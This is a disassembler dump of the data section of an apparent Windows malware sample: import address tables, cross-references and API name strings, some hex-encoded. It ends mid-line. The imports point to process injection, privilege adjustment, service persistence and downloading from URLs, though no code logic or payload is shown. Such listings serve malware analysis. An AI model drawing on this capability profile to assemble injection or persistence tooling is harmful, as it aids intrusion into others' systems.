aAbort db 'abort',0 ; DATA XREF: sub_40BD80+6Ao ; sub_44E0A1+6Ao align 4 dword_4101D4 dd 0 ; DATA XREF: sub_40BFA0+23r ; sub_40BFA0+10Fr ... dword_4101D8 dd 0 ; DATA XREF: sub_40BFA0+29r ; sub_40BFA0+115r ... align 10h dword_4101E0 dd 30h ; DATA XREF: sub_40C470+1Eo ; sub_44E791+1Eo byte_4101E4 db 0 ; DATA XREF: DMN0:004119A4o ; DMN0:004119A8o ... byte_4101E5 db 2Eh, 2 dup(0) ; DATA XREF: DMN0:off_4119D0o dd 0 dword_4101EC dd 385h dup(0) ; DATA XREF: sub_407B60+73o ; sub_407B60:loc_407BDFo ... dword_411000 dd 1 ; DATA XREF: sub_40122A:loc_401237w ; sub_40122A+13r ... dword_411004 dd 0 ; DATA XREF: sub_403C3F+66r ; sub_403C3F+86w ... dword_411008 dd 0 ; DATA XREF: sub_40238A+7r ; sub_40238A+43w ... dword_41100C dd 0 ; DATA XREF: sub_40356A+2Ar ; sub_40356A:loc_4035CDr ... dword_411010 dd 0 ; DATA XREF: sub_40356A+1Er ; sub_40356A+46r ... dword_411014 dd 0 ; DATA XREF: sub_40399A+189o ; sub_403C3F+317o ... dword_411018 dd 0 ; DATA XREF: sub_403604+1r ; sub_403604+1Fw ... dword_41101C dd 0 ; DATA XREF: DMN0:004036A3r ; DMN0:004036C1w ... dd 0 dword_411024 dd 0 ; DATA XREF: sub_40356A+58o ; sub_40356A+86o ... dword_411028 dd 0 ; DATA XREF: sub_40410E+1r ; sub_40410E+1Fw ... dword_41102C dd 0 ; DATA XREF: sub_404967+22Eo ; sub_404967+2EBo ... dword_411030 dd 0 ; DATA XREF: sub_40400E+32r ; sub_40400E+9Br ... byte_411034 db 5Ah ; DATA XREF: sub_4041FB+19r ; sub_44651C+19r db 3 dup(5Bh) dd 5B5B5B5Bh, 5B5Bh dword_411040 dd 0 ; DATA XREF: DMN0:00405BDEw ; DMN1:00447EFFw dword_411044 dd 2 dup(0) ; DATA XREF: DMN0:00405ACAo ; DMN1:00447DEBo dword_41104C dd 0 ; DATA XREF: sub_405DB5+Bw ; sub_405DB5+25r ... dword_411050 dd 0 ; DATA XREF: sub_405FBD+Dr ; sub_405FBD+B9w ... dword_411054 dd 0 ; DATA XREF: sub_405EB2+Cr ; sub_405EB2+15r ... dword_411058 dd 0 ; DATA XREF: sub_40643C+Fo ; sub_44875D+Fo dword_41105C dd 0 ; DATA XREF: sub_4074C0+35r ; sub_4074C0+3Ew ... dword_411060 dd 0 ; DATA XREF: sub_407AA0+45r ; sub_407AA0+62r ... dd 4Fh dup(0) dword_4111A0 dd 50h ; DATA XREF: sub_407AA0:loc_407AD7r ; sub_407AA0+3Fw ... dword_4111A4 dd 0 ; DATA XREF: sub_407AA0:loc_407AF7r ; sub_407AA0+5Dw ... dword_4111A8 dd 0 ; DATA XREF: sub_406E30+18Ew ; sub_406E30+1B1r ... dd 6 dup(0) dd 0B5FFF8h, 0 dword_4111CC dd 0B5FFFCh ; DATA XREF: sub_4071B0+38r ; sub_407C90+8Br ... dword_4111D0 dd 0B50004h ; DATA XREF: sub_4071B0+30r ; sub_407C90+C1r ... dword_4111D4 dd 0B50000h ; DATA XREF: sub_407C90+97r ; sub_407C90:loc_407D34r ... dword_4111D8 dd 8 ; DATA XREF: sub_406E30+66r ; sub_406E30+10Br ... dword_4111DC dd 10h ; DATA XREF: sub_406E30+5Dr ; sub_406E30+FEr ... dword_4111E0 dd 20h ; DATA XREF: sub_406E30:loc_406EA8r ; sub_406E30+121r ... dword_4111E4 dd 40h ; DATA XREF: sub_406E30+54r ; sub_406E30+F1r ... dword_4111E8 dd 80h ; DATA XREF: sub_406E30+99r ; sub_406E30+14Ar ... dword_4111EC dd 100h ; DATA XREF: sub_406E30:loc_406EC0r ; sub_406E30+13Dr ... dword_4111F0 dd 200h ; DATA XREF: sub_406E30:loc_406EDEr ; sub_406E30+163r ... dd 400h dword_4111F8 dd 7 ; DATA XREF: sub_406E30+19Cr ; sub_406E30:loc_406FD6w ... dword_4111FC dd 7 ; DATA XREF: sub_406E30+361w ; sub_407C90+175w ... dword_411200 dd 19930520h, 3 dup(0) ; DATA XREF: DMN0:00408642o ; sub_408649+2o ... off_411210 dd offset dword_41283C ; DATA XREF: sub_408760r ; sub_4087A0:loc_4087A6r ... off_411214 dd offset dword_412824 ; DATA XREF: sub_408760+Cr ; sub_4087A0+38r ... off_411218 dd offset dword_41280C ; DATA XREF: sub_408760+18r ; sub_4087A0+44r ... off_41121C dd offset dword_4127F4 ; DATA XREF: sub_408760+24r ; sub_4087A0+50r ... dd 5 dup(0) dword_411234 dd 0 ; DATA XREF: sub_408B20r sub_408B20+9r ... dword_411238 dd 0 ; DATA XREF: DMN0:00408B50r ; DMN0:00408B59r ... dd 14h dup(0) dword_41128C dd 1, 0 ; DATA XREF: DMN0:off_411370o dd offset byte_4112D4 dd offset byte_4112D5 dd offset byte_4112D4 dd offset byte_4112D4 dd offset byte_4112D4 dd offset byte_4112D4 dd offset dword_4112B4 dd 0 dword_4112B4 dd 8 dup(0) ; DATA XREF: DMN0:004112ACo byte_4112D4 db 0 ; DATA XREF: DMN0:00411294o ; DMN0:0041129Co ... byte_4112D5 db 3 dup(0) ; DATA XREF: DMN0:00411298o dword_4112D8 dd 802h, 1, 411320h, 411321h, 4 dup(411320h), 411300h ; DATA XREF: DMN0:00411374o dd 0Ah dup(0) dword_411324 dd 802h, 2, 41123Ch, 41128Ch, 3 dup(41123Ch), 41136Ch ; DATA XREF: sub_40BD80+E5o ; sub_40BD80:loc_40BE77o ... dd 41134Ch, 0Ah dup(0) off_411370 dd offset dword_41128C ; DATA XREF: sub_4074A0:loc_4074A3r ; sub_407540:loc_4075ACr ... dd offset dword_4112D8 dd offset dword_411324 dd 0FDh dup(0) dword_411770 dd 7 ; DATA XREF: sub_407930+2Ar ; sub_409090+Cw ... dword_411774 dd 0C0000005h, 0Bh, 0C000001Dh, 4, 0C0000096h, 4, 0C000008Dh ; DATA XREF: sub_409260+7o ; sub_44B581+7o dd 8, 0C000008Eh, 8, 0C000008Fh, 8, 0C0000090h, 8, 0C0000091h dd 8, 0C0000092h, 8, 0C0000093h, 8 dword_4117C4 dd 1 ; DATA XREF: sub_409260:loc_4092B2o ; sub_4097D0+82w ... dword_4117C8 dd 0B5005Ch ; DATA XREF: sub_4097D0+87w ; sub_44BAF1+87w align 10h dword_4117D0 dd 392318h ; DATA XREF: sub_409870+55w ; sub_409870+5Ar ... align 8 dword_4117D8 dd 0B50000h ; DATA XREF: sub_409970+Cr ; sub_409970+2Aw ... dword_4117DC dd 2000000h ; DATA XREF: sub_407B60+31w ; sub_409970+1Cr ... dword_4117E0 dd 400h ; DATA XREF: sub_407C90+2Ew ; sub_408260+2Dr ... dword_4117E4 dd 2Ch dup(0) ; DATA XREF: sub_409120+16o ; sub_4091C0+5Co ... off_411894 dd offset dword_40FB74 ; DATA XREF: sub_409870+16r ; sub_409870+A2r ... off_411898 dd offset word_40FB82 ; DATA XREF: sub_4088A0+160r ; sub_4088A0+1BBr ... dword_41189C dd 0 ; DATA XREF: sub_40AE10+99r ; sub_40AE10:loc_40AEC8w ... byte_4118A0 db 3 ; DATA XREF: sub_40AF70+2Ar ; sub_40BFA0+14Ar ... align 4 dd offset word_40FE5E dd 0Fh dup(0) dd offset word_40FE5E dd 0Fh dup(0) off_411924 dd offset word_40FE5E ; DATA XREF: sub_409A10+20r ; sub_409A10+19Cr ... dd 0Fh dup(0) off_411964 dd offset word_40FE5E ; DATA XREF: sub_40BFA0+13Cr ; sub_44E2C1+13Cr dd 0Fh dup(0) dd offset byte_4101E4 dd offset byte_4101E4 dd offset byte_4101E4 dd offset byte_4101E4 dd offset byte_4101E4 dd offset byte_4101E4 dd offset byte_4101E4 dd 3 dup(7F7F7F7Fh), 7F7Fh off_4119D0 dd offset byte_4101E5 ; DATA XREF: sub_40C470+7r ; sub_44E791+7r dd offset byte_4101E4 dd offset byte_4101E4 dbl_4119DC dq 1.797693134862316e308 ; DATA XREF: sub_40D050+8Ar ; sub_40D050:loc_40D0E7r ... dd 0 dd 7FF80000h, 0 dd 3C900000h, 0 dd 3E400000h, 0 dd 40320000h, 2 dup(0) dd 11A84h, 2 dup(0) dd 122AEh, 11CC4h, 11BE4h, 2 dup(0) dd 124B2h, 11E24h, 11C48h, 2 dup(0) dd 1251Ch, 11E88h, 11CA8h, 2 dup(0) dd 1253Ch, 11EE8h, 11CB0h, 2 dup(0) dd 12598h, 11EF0h, 5 dup(0) dd 11F04h, 11F14h, 11F30h, 11F48h, 11F60h, 11F70h, 11F80h dd 11F96h, 11FA4h, 11FBAh, 11FCAh, 11FDAh, 11FECh, 12000h dd 1200Eh, 12020h, 12028h, 1203Eh, 1204Eh, 1205Ch, 1206Eh dd 1207Eh, 1208Ch, 1209Ch, 120B0h, 120BCh, 120D2h, 120ECh dd 120FAh, 12110h, 1211Ch, 12128h, 12138h, 12144h, 1215Eh dd 12174h, 12182h, 12192h, 121A4h, 121B4h, 121C4h, 121D8h dd 121EAh, 121FEh, 12210h, 12226h, 1223Ch, 1224Ah, 1225Eh dd 1227Ah, 1228Ch, 1229Ch, 125A4h, 125B4h, 125C2h, 125D2h dd 125E2h, 125F0h, 12602h, 1260Eh, 1261Ch, 1262Ah, 12636h dd 12644h, 12650h, 1265Ch, 1266Ch, 12684h, 12692h, 1269Eh dd 126B4h, 126BEh, 126CCh, 126E8h, 12702h, 12710h, 12722h dd 12734h, 1274Ch, 12766h, 12776h, 12786h, 12792h, 127A2h dd 127BAh, 127CCh, 127D8h, 0 dd 122BCh, 122CEh, 122E0h, 122EEh, 122FEh, 1230Eh, 1232Eh dd 1234Ah, 1235Ah, 1236Eh, 12380h, 12390h, 123A6h, 123BCh dd 123D4h, 123ECh, 123FCh, 1240Eh, 1241Eh, 12432h, 12450h dd 1246Eh, 12486h, 1249Ah, 0 dd 80000073h, 80000074h, 80000017h, 80000015h, 80000003h dd 80000012h, 8000000Ch, 80000009h, 80000004h, 80000002h dd 8000000Dh, 80000001h, 8000000Fh, 80000010h, 80000013h dd 8000000Ah, 80000034h, 80000006h, 80000039h, 8000000Bh dd 80000014h, 80000011h, 8000006Fh, 0 dd 12528h, 0 dd 1254Ah, 1255Ah, 1256Eh, 12584h, 0 dword_411CC4 dd 7C80929Ch ; DATA XREF: sub_401001:loc_40100Br ; sub_402562+6r ... dword_411CC8 dd 7C809EF1h ; DATA XREF: sub_40103C+5r ; sub_401097+5r ... dword_411CCC dd 7C901005h ; DATA XREF: sub_401048+9r ; sub_401076+5r ... dword_411CD0 dd 7C9010EDh ; DATA XREF: sub_401048+23r ; sub_401076+1Ar ... dword_411CD4 dd 7C812F39h ; DATA XREF: DMN0:004010C1r ; sub_409360+1B2r ... dword_411CD8 dd 7C80A7D4h ; DATA XREF: DMN0:0040117Cr ; DMN1:0044349Dr dword_411CDC dd 7C80B4CFh ; DATA XREF: sub_402296+18r ; DMN0:00402353r ... dword_411CE0 dd 7C80998Dh ; DATA XREF: sub_40238A+14r ; sub_40592F+Dr ... dword_411CE4 dd 7C80945Ch ; DATA XREF: sub_4023DC+1Fr ; sub_4446FD+1Fr dword_411CE8 dd 7C910331h ; DATA XREF: sub_4023DC+2Br ; sub_403604+2Dr ... dword_411CEC dd 7C80B905h ; DATA XREF: sub_4023DC+44r ; sub_402449+29r ... dword_411CF0 dd 7C80B974h ; DATA XREF: sub_4023DC+62r ; sub_402449+47r ... dword_411CF4 dd 7C80BB76h ; DATA XREF: sub_402449+11r ; sub_4024A6+12r ... dword_411CF8 dd 7C809B47h ; DATA XREF: sub_402449+51r ; sub_4024A6+5Er ... dword_411CFC dd 7C80D077h ; DATA XREF: sub_402511+33r ; sub_40544D+33r ... dword_411D00 dd 7C802442h ; DATA XREF: sub_402562+32r ; sub_40356A+Br ... dword_411D04 dd 7C80978Eh ; DATA XREF: sub_40356A+5Dr ; sub_40356A+8Br ... dword_411D08 dd 7C80E93Fh ; DATA XREF: sub_403604+19r ; DMN0:004036BBr ... dword_411D0C dd 7C80EA1Bh ; DATA XREF: sub_403658+10r ; sub_4036F6+10r ... dword_411D10 dd 7C802367h ; DATA XREF: sub_403723+DCr ; DMN0:00404D4Dr ... dword_411D14 dd 7C910340h ; DATA XREF: sub_403838+BDr ; sub_409150+59r ... dword_411D18 dd 7C831EABh ; DATA XREF: sub_403838+13Br ; sub_40399A+1ACr ... dword_411D1C dd 7C835DCAh ; DATA XREF: sub_40399A+3Cr ; sub_40399A+93r ... dword_411D20 dd 7C8608FFh ; DATA XREF: sub_40399A+57r ; sub_40399A+AEr ... dword_411D24 dd 7C8286EEh ; DATA XREF: sub_40399A+C4r ; sub_4067B0+18Fr ... dword_411D28 dd 7C812782h ; DATA XREF: sub_40399A+DEr ; sub_405EB2+8Ar ... dword_411D2C dd 7C8097B6h ; DATA XREF: sub_403C3F+31Cr ; DMN1:0044627Cr dword_411D30 dd 7C81CDDAh ; DATA XREF: sub_403FEA+10r ; sub_409250+5r ... dword_411D34 dd 7C802520h ; DATA XREF: sub_40400E+23r ; sub_40592F+E5r ... dword_411D38 dd 7C80BAA1h ; DATA XREF: sub_4040C3+36r ; sub_405170+B5r ... dword_411D3C dd 7C810111h ; DATA XREF: sub_404FE9+A7r ; sub_44730A+A7r dword_411D40 dd 7C8308ADh ; DATA XREF: DMN0:004053CDr ; sub_40592F+51r ... dword_411D44 dd 7C80A017h ; DATA XREF: DMN0:004053DAr ; sub_405D3F+65r ... dword_411D48 dd 7C80A05Dh ; DATA XREF: sub_40592F+C7r ; sub_447C50+C7r dword_411D4C dd 7C81153Ch ; DATA XREF: sub_405CA2+14r ; sub_4067B0+28Dr ... dword_411D50 dd 7C80A03Bh ; DATA XREF: sub_405D3F+11r ; sub_4064E1+7r ... dword_411D54 dd 7C80BE89h ; DATA XREF: sub_405EB2+31r ; sub_4481D3+31r dword_411D58 dd 7C80BC69h ; DATA XREF: sub_405EB2+44r ; sub_4481D3+44r dword_411D5C dd 7C809FB5h ; DATA XREF: sub_405EB2+5Fr ; sub_4481D3+5Fr dword_411D60 dd 7C80CC97h ; DATA XREF: sub_405EB2+73r ; sub_4481D3+73r dword_411D64 dd 7C80DDF5h ; DATA XREF: sub_406101+1Br ; sub_409360+1D3r ... dword_411D68 dd 7C809A72h ; DATA XREF: sub_40617B+21r ; sub_44849C+21r dword_411D6C dd 7C80B6A1h ; DATA XREF: sub_40617B+7Ar ; sub_407B60+9Ar ... dword_411D70 dd 7C80ADA0h ; DATA XREF: sub_40617B+91r ; sub_40617B+A2r ... dword_411D74 dd 7C80220Fh ; DATA XREF: sub_40617B+E6r ; sub_44849C+E6r dword_411D78 dd 7C81042Ch ; DATA XREF: sub_40617B+11Dr ; sub_44849C+11Dr dword_411D7C dd 7C8309E1h ; DATA XREF: sub_4062A5+15r ; sub_4485C6+15r dword_411D80 dd 7C821435h ; DATA XREF: sub_4062A5+5Cr ; sub_4485C6+5Cr dword_411D84 dd 7C864B0Fh ; DATA XREF: sub_406D5Cr sub_44907Dr dword_411D88 dd 7C863DE5h ; DATA XREF: sub_406D62r sub_449083r dword_411D8C dd 7C863F58h ; DATA XREF: sub_406D68r sub_449089r dword_411D90 dd 7C812F1Dh ; DATA XREF: sub_4067B0+44r ; sub_4097D0+Br ... dword_411D94 dd 7C81CF25h ; DATA XREF: sub_4072E0+1Br ; DMN1:0044961Cr dword_411D98 dd 7C809BC5h ; DATA XREF: sub_407930+30r ; sub_409090+31r ... dword_411D9C dd 7C810637h ; DATA XREF: sub_4079D0+38r ; sub_449CF1+38r dword_411DA0 dd 7C8328F7h ; DATA XREF: sub_4079D0+54r ; sub_449CF1+54r dword_411DA4 dd 7C80C058h ; DATA XREF: sub_407A60+30r ; sub_449D81+30r dword_411DA8 dd 7C801EEEh ; DATA XREF: sub_407B60+92r ; sub_409360+5Er ... dword_411DAC dd 7C937A40h ; DATA XREF: sub_40D4E0r sub_44F801r dword_411DB0 dd 7C812BB6h ; DATA XREF: sub_408670+9r ; sub_44A991+9r dword_411DB4 dd 7C810EF8h ; DATA XREF: DMN0:00408696r ; DMN1:0044A9B7r dword_411DB8 dd 7C9105D4h ; DATA XREF: sub_4086B0+Dr ; sub_44A9D1+Dr dword_411DBC dd 7C9179FDh ; DATA XREF: DMN0:004086E3r ; DMN1:0044AA04r dword_411DC0 dd 7C91043Dh ; DATA XREF: sub_4086F0+Dr ; sub_44AA11+Dr dword_411DC4 dd 7C9109EDh ; DATA XREF: DMN0:0040871Fr ; DMN1:0044AA40r dword_411DC8 dd 7C85E9BBh ; DATA XREF: DMN0:0040874Dr ; DMN1:0044AA6Er dword_411DCC dd 7C91188Ah ; DATA XREF: sub_4087A0+12r ; sub_4087A0+32r ... dword_411DD0 dd 7C801A24h ; DATA XREF: sub_408B20+23r ; DMN0:00408B73r ... dword_411DD4 dd 7C812D9Fh ; DATA XREF: sub_409090+6r ; sub_44B3B1+6r dword_411DD8 dd 7C809728h ; DATA XREF: sub_409090+46r ; sub_409150+42r ... dword_411DDC dd 7C8136D7h ; DATA XREF: DMN0:00409107r ; DMN1:0044B428r dword_411DE0 dd 7C809740h ; DATA XREF: sub_409150+10r ; sub_4091C0+1Br ... dword_411DE4 dd 7C862E2Ah ; DATA XREF: sub_409260+5Fr ; sub_44B581+5Fr dword_411DE8 dd 7C8017E5h ; DATA XREF: sub_409300+5r ; DMN0:0040931Br ... dword_411DEC dd 7C810E51h ; DATA XREF: sub_409360+130r ; sub_409360+1C6r ... dword_411DF0 dd 7C80DDFEh ; DATA XREF: sub_409360+1F5r ; sub_44B681+1F5r dword_411DF4 dd 7C80CC97h ; DATA XREF: sub_409360+24Ar ; sub_44B681+24Ar dword_411DF8 dd 7C81CF5Bh ; DATA XREF: sub_409870+9r ; sub_44BB91+9r dword_411DFC dd 7C81DF77h ; DATA XREF: sub_409870+B0r ; sub_44BB91+B0r dword_411E00 dd 7C809A51h ; DATA XREF: sub_409970+24r ; sub_409970+8Ar ... dword_411E04 dd 7C80B9D1h ; DATA XREF: sub_409970+3Fr ; sub_44BC91+3Fr dword_411E08 dd 7C810D87h ; DATA XREF: sub_40A730+F5r ; sub_40A730+15Br ... dword_411E0C dd 7C81DC03h ; DATA XREF: sub_40AAD0+4Cr ; sub_40AAD0+5Br ... dword_411E10 dd 7C81B58Bh ; DATA XREF: sub_40AE10+A9r ; sub_44D131+A9r dword_411E14 dd 7C810B8Eh ; DATA XREF: sub_40BEB0+34r ; sub_44E1D1+34r dword_411E18 dd 7C80180Eh ; DATA XREF: sub_40C950+C4r ; sub_40C950+249r ... dword_411E1C dd 7C832044h ; DATA XREF: sub_40CD10+10Cr ; sub_44F031+10Cr dd 0 dword_411E24 dd 77DDEAF4h ; DATA XREF: sub_402208+21r ; sub_404967+3Dr ... dword_411E28 dd 77DDEBE7h ; DATA XREF: sub_402208+43r ; sub_404967+210r ... dword_411E2C dd 77DD6BF0h ; DATA XREF: sub_402208+4Cr ; sub_40225E+2Er ... dword_411E30 dd 77DD761Bh ; DATA XREF: sub_40225E+15r ; sub_405170+5Cr ... dword_411E34 dd 77DFC123h ; DATA XREF: sub_40225E+25r ; sub_44457F+25r dword_411E38 dd 77DD778Eh ; DATA XREF: sub_40238A+1Fr ; sub_40592F+1Br ... dword_411E3C dd 77DD77B3h ; DATA XREF: sub_40238A+2Cr ; sub_40592F+2Ar ... dword_411E40 dd 77DFD4C9h ; DATA XREF: sub_4040C3+15r ; sub_4463E4+15r dword_411E44 dd 77DD7883h ; DATA XREF: sub_404967+5Dr ; sub_405170+92r ... dword_411E48 dd 77DEADA7h ; DATA XREF: sub_404D77+Br ; sub_404DC1+12r ... dword_411E4C dd 77DEB88Ch ; DATA XREF: sub_404D77+1Fr ; sub_404DC1+29r ... dword_411E50 dd 77DE5E4Dh ; DATA XREF: sub_404D77+2Cr ; sub_404D77+37r ... dword_411E54 dd 77DE5EB8h ; DATA XREF: sub_404DC1+47r ; sub_404F15+80r ... dword_411E58 dd 77E36CC9h ; DATA XREF: sub_404E32+22r ; sub_447153+22r dword_411E5C dd 77E36F61h ; DATA XREF: sub_404E32+6Dr ; sub_404FE9+C3r ... dword_411E60 dd 77DF3238h ; DATA XREF: sub_404F15+9Cr ; sub_447236+9Cr dword_411E64 dd 77E37071h ; DATA XREF: sub_404FE9+4Dr ; sub_44730A+4Dr dword_411E68 dd 77E37311h ; DATA XREF: sub_40512B+2Br ; sub_44744C+2Br dword_411E6C dd 77DEB193h ; DATA XREF: DMN0:00405A59r ; DMN0:00405A6Cr ... dword_411E70 dd 77DF0953h ; DATA XREF: DMN0:00405AB0r ; DMN1:00447DD1r dword_411E74 dd 77E37D39h ; DATA XREF: sub_405B88+35r ; sub_447EA9+35r dword_411E78 dd 77DFD11Bh ; DATA XREF: sub_406101+11r ; sub_448422+11r dword_411E7C dd 77DD7753h ; DATA XREF: sub_406101+28r ; sub_448422+28r dword_411E80 dd 77DFC534h ; DATA XREF: sub_406101+5Fr ; sub_448422+5Fr align 8 dword_411E88 dd 71AB664Dh ; DATA XREF: sub_406D6Er sub_44908Fr dword_411E8C dd 71AB4428h ; DATA XREF: sub_406D74r sub_449095r dword_411E90 dd 71AB3B91h ; DATA XREF: sub_406D7Ar sub_44909Br dword_411E94 dd 71AD2E30h ; DATA XREF: sub_406D80r sub_4490A1r dword_411E98 dd 71AB9639h ; DATA XREF: sub_406D86r sub_4490A7r dword_411E9C dd 71AB2DC0h ; DATA XREF: sub_406D8Cr sub_4490ADr dword_411EA0 dd 71AB4519h ; DATA XREF: sub_406D92r sub_4490B3r dword_411EA4 dd 71AB2B66h ; DATA XREF: sub_406D98r sub_4490B9r dword_411EA8 dd 71AB406Ah ; DATA XREF: sub_406D9Er sub_4490BFr dword_411EAC dd 71AB3E00h ; DATA XREF: sub_406DA4r sub_4490C5r dword_411EB0 dd 71AB88D3h ; DATA XREF: sub_406DAAr sub_4490CBr dword_411EB4 dd 71AC1028h ; DATA XREF: sub_406DB0r sub_4490D1r dword_411EB8 dd 71AB2B66h ; DATA XREF: sub_406DB6r sub_4490D7r dword_411EBC dd 71AD2E70h ; DATA XREF: sub_406DBCr sub_4490DDr dword_411EC0 dd 71AB428Ah ; DATA XREF: sub_406DC2r sub_4490E3r dword_411EC4 dd 71AB2BF4h ; DATA XREF: sub_406DC8r sub_4490E9r dword_411EC8 dd 71AB4FD4h ; DATA XREF: sub_406DCEr sub_4490EFr dword_411ECC dd 71AB951Eh ; DATA XREF: sub_406DD4r sub_4490F5r dword_411ED0 dd 71AB50C8h ; DATA XREF: sub_406DDAr sub_4490FBr dword_411ED4 dd 71AB3F41h ; DATA XREF: sub_406DE0r sub_449101r dword_411ED8 dd 71AB2C69h ; DATA XREF: sub_406DE6r sub_449107r dword_411EDC dd 71AD3005h ; DATA XREF: sub_406DECr sub_44910Dr dword_411EE0 dd 71AB94DCh ; DATA XREF: sub_406DF2r sub_449113r align 8 dword_411EE8 dd 76D6AAC7h ; DATA XREF: sub_406DF8r sub_449119r align 10h dword_411EF0 dd 42C2C8A1h ; DATA XREF: sub_403838+19r ; sub_445B59+19r dword_411EF4 dd 42C30BFAh ; DATA XREF: sub_403838+48r ; sub_445B59+48r dword_411EF8 dd 42C1DAC1h ; DATA XREF: sub_403838+62r ; sub_403838+94r ... dword_411EFC dd 42C2ABF4h ; DATA XREF: sub_403838+F1r ; sub_445B59+F1r dd 0 dd 65470000h, 63695474h, 756F436Bh, 746Eh, 6E490000h, 61697469h dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h dd 6E450000h, 43726574h, 69746972h, 536C6163h, 69746365h dd 6E6Fh, 654C0000h, 43657661h, 69746972h, 536C6163h, 69746365h dd 6E6Fh, 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h dd 636F4C74h, 69546C61h, 656Dh, 65470000h, 646F4D74h, 46656C75h dd 4E656C69h, 41656D61h, 0 aLocalalloc db 'LocalAlloc',0 align 4 dd 72430000h, 65746165h, 656C6946h, 7070614Dh, 41676E69h dd 0 aGetlasterror_0 db 'GetLastError',0 align 4 aMapviewoffile db 'MapViewOfFile',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 704F0000h, 69466E65h, 614D656Ch, 6E697070h, 4167h, 6C430000h dd 4865736Fh, 6C646E61h, 65h, 706D6F43h, 53657261h, 6E697274h dd 4167h, 6C530000h, 706565h, 6E490000h, 6C726574h, 656B636Fh dd 63784564h, 676E6168h, 65h, 61657243h, 754D6574h, 41786574h dd 0 aOpenmutexa db 'OpenMutexA',0 align 4 dd 72430000h, 65746165h, 636F7250h, 41737365h, 0 aSetlasterror db 'SetLastError',0 align 10h aDeletefilea db 'DeleteFileA',0 dd 65470000h, 6D655474h, 74615070h, 4168h, 65470000h, 6D655474h dd 6C694670h, 6D614E65h, 4165h, 6F430000h, 69467970h, 41656Ch dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aInterlockedexc db 'InterlockedExchangeAdd',0 align 4 dd 78450000h, 72507469h, 7365636Fh, 73h, 74696157h, 53726F46h dd 6C676E69h, 6A624F65h, 746365h, 736C0000h, 6D637274h dd 416970h, 736C0000h, 70637274h, 416E79h, 72430000h, 65746165h dd 6E657645h, 4174h, 65530000h, 65764574h, 746Eh, 61570000h dd 6F467469h, 6C754D72h, 6C706974h, 6A624F65h, 73746365h dd 0 aGetfileattribu db 'GetFileAttributesA',0 align 4 dd 65520000h, 45746573h, 746E6576h, 0 aFindresourcea db 'FindResourceA',0 align 4 aSizeofresource db 'SizeofResource',0 align 4 dd 6F4C0000h, 65526461h, 72756F73h, 6563h, 6F4C0000h, 65526B63h dd 72756F73h, 6563h, 65470000h, 72754374h, 746E6572h, 636F7250h dd 737365h, 69560000h, 61757472h, 6C6C416Ch, 7845636Fh dd 0 aGetmodulehandl db 'GetModuleHandleA',0 align 10h aGetprocaddress db 'GetProcAddress',0 align 10h dd 72570000h, 50657469h, 65636F72h, 654D7373h, 79726F6Dh dd 0 aCreateremoteth db 'CreateRemoteThread',0 align 4 dd 704F0000h, 72506E65h, 7365636Fh, 73h, 45746547h, 43746978h dd 5465646Fh, 61657268h, 64h, 61657243h, 6F546574h, 65686C6Fh dd 3233706Ch, 70616E53h, 746F6873h, 0 aProcess32first db 'Process32First',0 align 4 dd 72500000h, 7365636Fh, 4E323373h, 747865h, 65470000h dd 6D6F4374h, 646E616Dh, 656E694Ch, 454B0041h, 4C454E52h dd 642E3233h, 6C6Ch, 65520000h, 65724367h, 4B657461h, 78457965h dd 41h, 53676552h, 61567465h, 4565756Ch, 4178h, 65520000h dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 44676552h, 74656C65h, 79654B65h, 41h, 74696E49h dd 696C6169h, 6553657Ah, 69727563h, 65447974h, 69726373h dd 726F7470h, 0 aSetsecuritydes db 'SetSecurityDescriptorDacl',0 align 4 aGetusernamea db 'GetUserNameA',0 align 4 aRegqueryvaluee db 'RegQueryValueExA',0 align 10h aOpenscmanagera db 'OpenSCManagerA',0 align 10h dd 704F0000h, 65536E65h, 63697672h, 4165h, 6C430000h, 5365736Fh dd 69767265h, 61486563h, 656C646Eh, 0 aQueryservicest db 'QueryServiceStatus',0 align 4 dd 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh dd 4167h, 68430000h, 65676E61h, 76726553h, 43656369h, 69666E6Fh dd 413267h, 74530000h, 53747261h, 69767265h, 416563h, 72430000h dd 65746165h, 76726553h, 41656369h, 0 aDeleteservice db 'DeleteService',0 align 10h aSetservicest_2 db 'SetServiceStatus',0 align 4 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA',0 dd 74530000h, 53747261h, 69767265h, 74436563h, 69446C72h dd 74617073h, 72656863h, 41h, 6B6F6F4Ch, 72507075h, 6C697669h dd 56656765h, 65756C61h, 41h, 6E65704Fh, 636F7250h, 54737365h dd 6E656B6Fh, 0 aAdjusttokenpri db 'AdjustTokenPrivileges',0 aAdvapi32_dll db 'ADVAPI32.dll',0 align 10h aS_1: unicode 0, <s>,0 aT: unicode 0, <t>,0 dd 17h, 15h, 3, 12h, 0Ch, 9, 4, 2, 0Dh, 1, 0Fh, 10h, 13h dd 0Ah, 34h, 6, 39h, 0Bh, 14h, 11h, 6Fh, 434F5357h, 2E32334Bh dd 6C6C64h, 65470000h, 46704974h, 6177726Fh, 61546472h dd 656C62h, 6C687069h, 69706170h, 6C6C642Eh, 0 aInternetopena db 'InternetOpenA',0 align 4 aInternetopen_0 db 'InternetOpenUrlA',0 align 10h aInternetcloseh db 'InternetCloseHandle',0 dd 6E490000h, 6E726574h, 65527465h, 69466461h, 656Ch, 494E4957h dd 2E54454Eh, 6C6C64h, 72570000h, 43657469h, 6F736E6Fh dd 41656Ch, 6C540000h, 74655373h, 756C6156h, 65h, 61657243h dd 68546574h, 64616572h, 0 aResumethread db 'ResumeThread',0 align 4 aExitthread_0 db 'ExitThread',0 align 10h dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 556C7452h dd 6E69776Eh, 64h, 70616548h, 61657243h, 6574h, 65480000h dd 65447061h, 6F727473h, 79h, 70616548h, 6F6C6C41h, 63h dd 70616548h, 6C416552h, 636F6Ch, 65480000h, 72467061h dd 6565h, 65480000h, 69537061h, 657Ah, 65480000h, 61567061h dd 6164696Ch, 6574h, 65440000h, 6574656Ch, 74697243h, 6C616369h dd 74636553h, 6E6F69h, 72430000h, 65746165h, 656C6946h dd 41h, 41736C54h, 636F6C6Ch, 0 aGetcurrentthre db 'GetCurrentThreadId',0 align 4 dd 6C540000h, 65724673h, 65h, 47736C54h, 61567465h, 